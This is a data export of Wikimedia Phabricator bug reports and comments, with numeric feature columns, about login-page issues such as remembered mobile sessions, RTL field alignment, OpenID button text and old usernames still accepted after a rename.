+215499,"Allow mobile users to be ""remembered"" on login.","ShoeMaker, if you log in to the mobile site, close your browser, and immediately reopen it, are you still logged in? I ask because I'm wondering if the problem you are experiencing is the same as what Jon/Brion mention in Comments 4 and 5, or if you're experiencing an actual issue with your session being preserved.",,,1366929103,,PHID-USER-jh2oguhshocanixqvlfk,False,,,PHID-TASK-rbfpv2lztauqfw4dbqfj,task_subcomment,,True,c2,1,False,,,-18,True,0,0,0,1,0,1,1,1,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,1,0,0,1,1,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,1,0,1,1,1,1,0,0,1,0,1,1,0,1,0,0,0
+215496,"Allow mobile users to be ""remembered"" on login.","(In reply to comment #3)
+> This should happen by default. There is no check box by design. This is
+> possibly related to this particular device... out of interest when you visit
+> the site do you get redirected to the https version?
+
+It does.",,,1363641256,,PHID-USER-qgqq35kbi5wss2tlgmhg,False,,,PHID-TASK-rbfpv2lztauqfw4dbqfj,task_subcomment,,True,c2,1,False,,,-24,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,1,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,1,1,1,1,0,1,0,0,0,1,1,0,1,0,1,1,0,1,0,0,1,0,1,0,0,0,0,0,1
+215492,"Allow mobile users to be ""remembered"" on login.","Yes, we'll have to change the system to save multiple long-term tokens so multiple devices ""just work"" as expected. (May want to add a dependency bug for this.)",,,1363640438,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-rbfpv2lztauqfw4dbqfj,task_subcomment,,True,c2,1,True,,,-24,True,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,1,0,0,1,1,0,0,1,0,1,0,0,1,0,0,0,0,0
+215488,"Allow mobile users to be ""remembered"" on login.","According to Brion the remember my login token is only valid on one device so if you log in on desktop it will log you out of mobile. Owch. This should be fixed.
+
+Sue was also reporting same behaviour..",,,1363640357,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-rbfpv2lztauqfw4dbqfj,task_subcomment,,True,c2,1,False,,,-24,True,0,0,0,1,0,1,1,0,0,1,1,0,0,1,0,1,0,1,1,0,0,1,0,0,1,0,0,0,0,1,0,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+215484,"Allow mobile users to be ""remembered"" on login.",This should happen by default. There is no check box by design. This is possibly related to this particular device... out of interest when you visit the site do you get redirected to the https version?,,,1363610855,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-rbfpv2lztauqfw4dbqfj,task_subcomment,,True,c2,1,False,,,-24,True,0,0,0,1,0,1,1,0,0,0,1,0,0,0,1,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,1,1,0,0,1,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,0,1,0,0,1,0,1,0,0,0,0,0,0
+215479,"Allow mobile users to be ""remembered"" on login.","(In reply to comment #1)
+> (In reply to comment #0)
+> > Currently, there is no ""remember me"" checkbox on the mobile site for
+> > en.wikipedia.  This means that every-time my browser crashes or I close it, I
+> > have to re-login to check my Watchlist.
+> 
+> I would have expected modern browsers to remember logins for you. 
+> Which mobile system and which browser is this about?
+
+It is on a BlackBerry Curve 9330/6.0.0.706 and there is no check box on the mobile login page like there is on the desktop login page.",,,1363605022,,PHID-USER-qgqq35kbi5wss2tlgmhg,False,,,PHID-TASK-rbfpv2lztauqfw4dbqfj,task_subcomment,,True,c2,1,False,,,-24,True,1,0,0,0,0,1,1,0,0,0,1,0,0,0,1,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,1,1,1,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,0,1,1,1,0,0,0,1
+215473,"Allow mobile users to be ""remembered"" on login.","(In reply to comment #0)
+> Currently, there is no ""remember me"" checkbox on the mobile site for
+> en.wikipedia.  This means that every-time my browser crashes or I close it, I
+> have to re-login to check my Watchlist.
+
+I would have expected modern browsers to remember logins for you. 
+Which mobile system and which browser is this about?",,,1363563644,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-rbfpv2lztauqfw4dbqfj,task_subcomment,,True,c2,1,True,,,-24,True,1,0,0,0,0,1,1,0,0,0,1,0,0,0,1,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,0,1,0,1,0,0,0,1
+47989,alignment of placeholders in input fields in the login screen is inconsistent in RTL,"screenshot of the problem
+
+1. Set the phone's language to Hebrew.
+2. Install the Commons app.
+3. Start the Commons app.
+4. The placeholders in the ""username"" and ""password"" fields are aligned differently.
+
+They should be aligned the same way.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**Platform**: Smartphone
+
+**Attached**: {F10852}",Low,25.0,1363018380,1411418034.0,PHID-USER-xfe43w2lb5gpvglf4coa,False,,False,PHID-TASK-cna3ri3busytxy2p3fkt,task_description,declined,True,c2,1,False,False,False,-25,True,0,0,0,1,0,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,0,0,0,0,0,0,1
+225934,alignment of placeholders in input fields in the login screen is inconsistent in RTL,"As the Mobile Apps Team is focussing on the new, native Wikipedia app, the Commons app is no longer being maintained by the Wikimedia Foundation. I am WONTFIXing all open Commons app bugs to reflect that we will not be spending time fixing them.
+
+For the full story, see this thread on mobile-l: https://lists.wikimedia.org/pipermail/mobile-l/2014-September/thread.html#7974",,,1411418034,,PHID-USER-kve2ug5yc3dp6ighnmqk,False,,,PHID-TASK-cna3ri3busytxy2p3fkt,task_subcomment,,True,c2,3,False,,,55,True,1,0,0,1,1,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,0,1,1,1,0,1
+225929,alignment of placeholders in input fields in the login screen is inconsistent in RTL,"(In reply to comment #5)
+> Can someone verify if this is still the case?
+
+It's still the case. The screenshot is still relevant, except now the background is black.",,,1373535964,,PHID-USER-xfe43w2lb5gpvglf4coa,False,,,PHID-TASK-cna3ri3busytxy2p3fkt,task_subcomment,,True,c2,1,False,,,-7,True,0,1,0,0,0,1,1,0,0,1,1,1,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,1,0,0,1,0,1,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,1,1,0,1,0,1,1,0,1,0,0,1,0,0,0,0,0,0,0,1
+225925,alignment of placeholders in input fields in the login screen is inconsistent in RTL,Can someone verify if this is still the case?,,,1373499924,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-cna3ri3busytxy2p3fkt,task_subcomment,,True,c2,1,True,,,-7,True,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0
+225922,alignment of placeholders in input fields in the login screen is inconsistent in RTL,"In latest master we support layout flipping on Android 4.2 and above, but even without that I was seeing the correct placeholder layout on 4.2.
+
+Will have to check on 2.3...",,,1369166117,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-cna3ri3busytxy2p3fkt,task_subcomment,,True,c2,1,True,,,-15,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,0,0,1,0,1,0
+225916,alignment of placeholders in input fields in the login screen is inconsistent in RTL,"Yes.
+
+Do them RTL in RTL languages.
+
+Android is supposed to align the password itself automatically.",,,1365607917,,PHID-USER-xfe43w2lb5gpvglf4coa,False,,,PHID-TASK-cna3ri3busytxy2p3fkt,task_subcomment,,True,c2,1,False,,,-20,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,0,0,1,0,0,0,0
+225910,alignment of placeholders in input fields in the login screen is inconsistent in RTL,"Hmmm, the difference between the two is that the second one is a password field. Are placeholders for password text fields aligned properly in other applications?",,,1365598489,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-cna3ri3busytxy2p3fkt,task_subcomment,,True,c2,1,True,,,-20,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,1,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0
+225901,alignment of placeholders in input fields in the login screen is inconsistent in RTL,Recategorized under Android.,,,1365444005,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-cna3ri3busytxy2p3fkt,task_subcomment,,True,c2,1,True,,,-21,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0
+47916,"VisualEditor: When Parsoid is down, error message is parsoidserver-http-200","When the Parsoid server is down completely (e.g. because you forgot to start it), the error message VE gives you is ""parsoidserver-http-200"". It's kind of ridiculous that it's presenting an error with 200, but it's also a lie: 200 wasn't the response code we got from Parsoid, we got no response whatsoever.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Low,25.0,1362783660,1363626420.0,PHID-USER-fovtl67ew4l4cc3oeypc,False,,False,PHID-TASK-6g7xrokkwj7xvlcpixpd,task_description,resolved,True,c2,1,False,False,True,-25,True,0,0,1,0,1,1,1,1,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0
+221850,"VisualEditor: When Parsoid is down, error message is parsoidserver-http-200",https://gerrit.wikimedia.org/r/#/c/53165/,,,1363011611,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-6g7xrokkwj7xvlcpixpd,task_subcomment,,True,c2,1,False,,,-25,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0
+47775,Add margin: .5em; to #loginend for consistence with #userloginForm,"If you go to
+https://pt.wikipedia.org/wiki/Especial:Entrar?uselang=pt
+you'll notice the borders of the <div id=""userloginForm""> and <div id=""loginend""> are not left/right aligned.
+
+This seems to be caused by the presence of ""margin: .5em;"" for ""#userloginForm"" but not for ""#loginend"".
+
+--------------------------
+**Version**: 1.21.x
+**Severity**: enhancement
+**URL**: https://pt.wikipedia.org/wiki/Especial:Entrar?uselang=pt",Low,25.0,1362574680,1363803377.0,PHID-USER-sryrz6tgcfnnsiddx32p,False,,False,PHID-TASK-2whpwbge26cc2fjzd7lq,task_description,resolved,True,c2,1,False,False,True,-25,True,0,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,1,1,0,1,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,1,0,0,0,0,0,0,1
+213764,Add margin: .5em; to #loginend for consistence with #userloginForm,Rahul has editbugs now.,,,1363770200,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-2whpwbge26cc2fjzd7lq,task_subcomment,,True,c2,1,True,,,-23,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+213759,Add margin: .5em; to #loginend for consistence with #userloginForm,"Rahul, if this is done can you mark the bug as resolved fixed? (I'm not sure if Rahul has editbugs, can you check that, Andre?)",,,1363738090,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-2whpwbge26cc2fjzd7lq,task_subcomment,,True,c2,1,True,,,-23,True,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,0
+213754,Add margin: .5em; to #loginend for consistence with #userloginForm,"**rahul14m93** wrote:
+
+Status : Merged",,,1363635505,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-2whpwbge26cc2fjzd7lq,task_subcomment,,True,c2,1,False,,,-24,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+213750,Add margin: .5em; to #loginend for consistence with #userloginForm,"**rahul14m93** wrote:
+
+Gerrit Change #53614",,,1363632954,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-2whpwbge26cc2fjzd7lq,task_subcomment,,True,c2,1,False,,,-24,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+213745,Add margin: .5em; to #loginend for consistence with #userloginForm,There's a patch in gerrit attempting to solve this: [[gerrit:53614]],,,1363616146,,PHID-USER-uazrhtptdqudzoqfefsc,False,,,PHID-TASK-2whpwbge26cc2fjzd7lq,task_subcomment,,True,c2,1,False,,,-24,True,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,1,0,1,0,0,1
+213739,Add margin: .5em; to #loginend for consistence with #userloginForm,"**rahul14m93** wrote:
+
+:)",,,1363377488,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-2whpwbge26cc2fjzd7lq,task_subcomment,,True,c2,1,False,,,-24,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+213732,Add margin: .5em; to #loginend for consistence with #userloginForm,"Oh, nevermind. Vector has the styles you mentioned.",,,1363377417,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-2whpwbge26cc2fjzd7lq,task_subcomment,,True,c2,1,True,,,-24,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,1,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0
+213724,Add margin: .5em; to #loginend for consistence with #userloginForm,Is this for the Monobook theme? Or for Vector? Vector I see different styles...,,,1363377077,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-2whpwbge26cc2fjzd7lq,task_subcomment,,True,c2,1,True,,,-24,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,0,0,1,0,0,0,0,0,0,0,0
+47304,"[GUI] Correct the button message text when converting OpenID (must be ""converting"" or ""adding"", not ""Login"")","Correct the button message text when converting OpenID (must be ""converting"" or ""adding"", not ""Login"").
+
+A few more changes may be needed than to simply adapt the text above the button on the provider selection page ( Special:OpenIDConvert ).
+
+--------------------------
+**Version**: master
+**Severity**: enhancement",Low,25.0,1361608200,1385196101.0,PHID-USER-ppvnwr24o32pux3le5ov,False,,False,PHID-TASK-wkyshzo5cqaylrvqgeso,task_description,resolved,True,c2,1,False,False,True,-27,True,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,0,1,1,0,1,1,0,0
+210866,"[GUI] Correct the button message text when converting OpenID (must be ""converting"" or ""adding"", not ""Login"")","solved by merging v4.01
+https://gerrit.wikimedia.org/r/97202",,,1385196101,,PHID-USER-ppvnwr24o32pux3le5ov,False,,,PHID-TASK-wkyshzo5cqaylrvqgeso,task_subcomment,,True,c2,3,False,,,12,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0
+210861,"[GUI] Correct the button message text when converting OpenID (must be ""converting"" or ""adding"", not ""Login"")","Change 97202 merged by Wikinaut:
+Bug 45304: show correct button texts for login/create account/convert OpenID
+
+https://gerrit.wikimedia.org/r/97202",,,1385196067,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wkyshzo5cqaylrvqgeso,task_subcomment,,True,c2,3,False,,,12,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+210856,"[GUI] Correct the button message text when converting OpenID (must be ""converting"" or ""adding"", not ""Login"")","Change 97202 had a related patch set (by Wikinaut) published:
+Bug 45304: show correct button texts for login/create account/convert OpenID
+
+https://gerrit.wikimedia.org/r/97202",,,1385195691,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wkyshzo5cqaylrvqgeso,task_subcomment,,True,c2,3,False,,,12,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+47249,Diff links in thread history unconditionally point to HTTP while browsing through HTTPS,"As one can see on the URL provided, when browsing the thread history page, on the ""Comment text edited"" diff link it points to HTTP instead of HTTPS.
+
+Looks like a hardcoded protocol.
+
+--------------------------
+**Version**: unspecified
+**Severity**: minor
+**URL**: https://www.mediawiki.org/w/index.php?title=Thread:Project:Support_desk/GLobafunctions.php_wfParseUrl_choking_on_url&lqt_method=thread_history",Low,25.0,1361476620,1378756614.0,PHID-USER-jnta3z3spxto3vbxdngm,False,,False,PHID-TASK-c5embncbfgxlf35zaiqn,task_description,resolved,True,c2,1,True,False,True,-27,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,0
+207908,Diff links in thread history unconditionally point to HTTP while browsing through HTTPS,"Change 50714 merged by jenkins-bot:
+Comment text diff links in thread history should be protocol-relative
+
+https://gerrit.wikimedia.org/r/50714",,,1378756589,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-c5embncbfgxlf35zaiqn,task_subcomment,,True,c2,3,False,,,1,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+207902,Diff links in thread history unconditionally point to HTTP while browsing through HTTPS,Patch in Gerrit needs review...,,,1374662808,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-c5embncbfgxlf35zaiqn,task_subcomment,,True,c2,1,True,,,-5,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+207895,Diff links in thread history unconditionally point to HTTP while browsing through HTTPS,Gerrit change 50714,,,1361746546,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-c5embncbfgxlf35zaiqn,task_subcomment,,True,c2,1,True,,,-27,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+47101,Make it impossible to login as old user name after rename,"After having your account renamed, it is possible to log in again as the old name using your current password. This should not be the case. 
+
+I'd hazard a guess that the old user's password field in the database isn't being cleared at rename time.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Low,25.0,1361116440,1457033859.0,PHID-USER-uia2q3o33h5pb5lf7exz,False,PHID-USER-doeppszazlm3r7xah4il,False,PHID-TASK-mbuuy7pfeaojfixzlmq4,task_description,resolved,True,c2,1,False,False,False,-28,True,0,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,1,1,1,1,1,0,1,0,0,0,0,0,0,1,1,0,1,1,0,1,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+622658,Make it impossible to login as old user name after rename,"I don't think so. Global renames have made this unlikely to happen. If someone detaches a local account and manually renames it, it could potentially still happen. But I don't think that's a normal workflow for any wikis anymore.",,,1457033859,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-mbuuy7pfeaojfixzlmq4,task_subcomment,,True,c2,3,True,,,131,True,1,1,0,0,1,1,0,0,0,1,0,1,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,1,1,0,1,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0
+622647,Make it impossible to login as old user name after rename,Is this still valid now that we have global accounts?,,,1457033268,,PHID-USER-uia2q3o33h5pb5lf7exz,False,,,PHID-TASK-mbuuy7pfeaojfixzlmq4,task_subcomment,,True,c2,3,False,,,131,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,1,0,0,0,0,0,0
+224769,Make it impossible to login as old user name after rename,"(In reply to comment #5)
+> In the meantime, the workaround is to either delete or lock the centralauth
+> account before doing the rename, so the user can't login with the old name
+> and
+> have the account autocreated.
+
+This is not a usable workaround.
+Scrupulous bureaucrats create an account under a random username, rename it to your username and block it. Before SUL they could create it directly at your old username, but that's a minor change.",,,1367421904,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-mbuuy7pfeaojfixzlmq4,task_subcomment,,True,c2,1,True,,,-17,True,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,1
+224763,Make it impossible to login as old user name after rename,"The global rename patch (https://gerrit.wikimedia.org/r/#/c/39171/) will help this, since we account for this race condition.
+
+In the meantime, the workaround is to either delete or lock the centralauth account before doing the rename, so the user can't login with the old name and have the account autocreated.",,,1361322430,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-mbuuy7pfeaojfixzlmq4,task_subcomment,,True,c2,1,True,,,-27,True,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,0,1,0,1,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,0,0
+224758,Make it impossible to login as old user name after rename,"(In reply to comment #2)
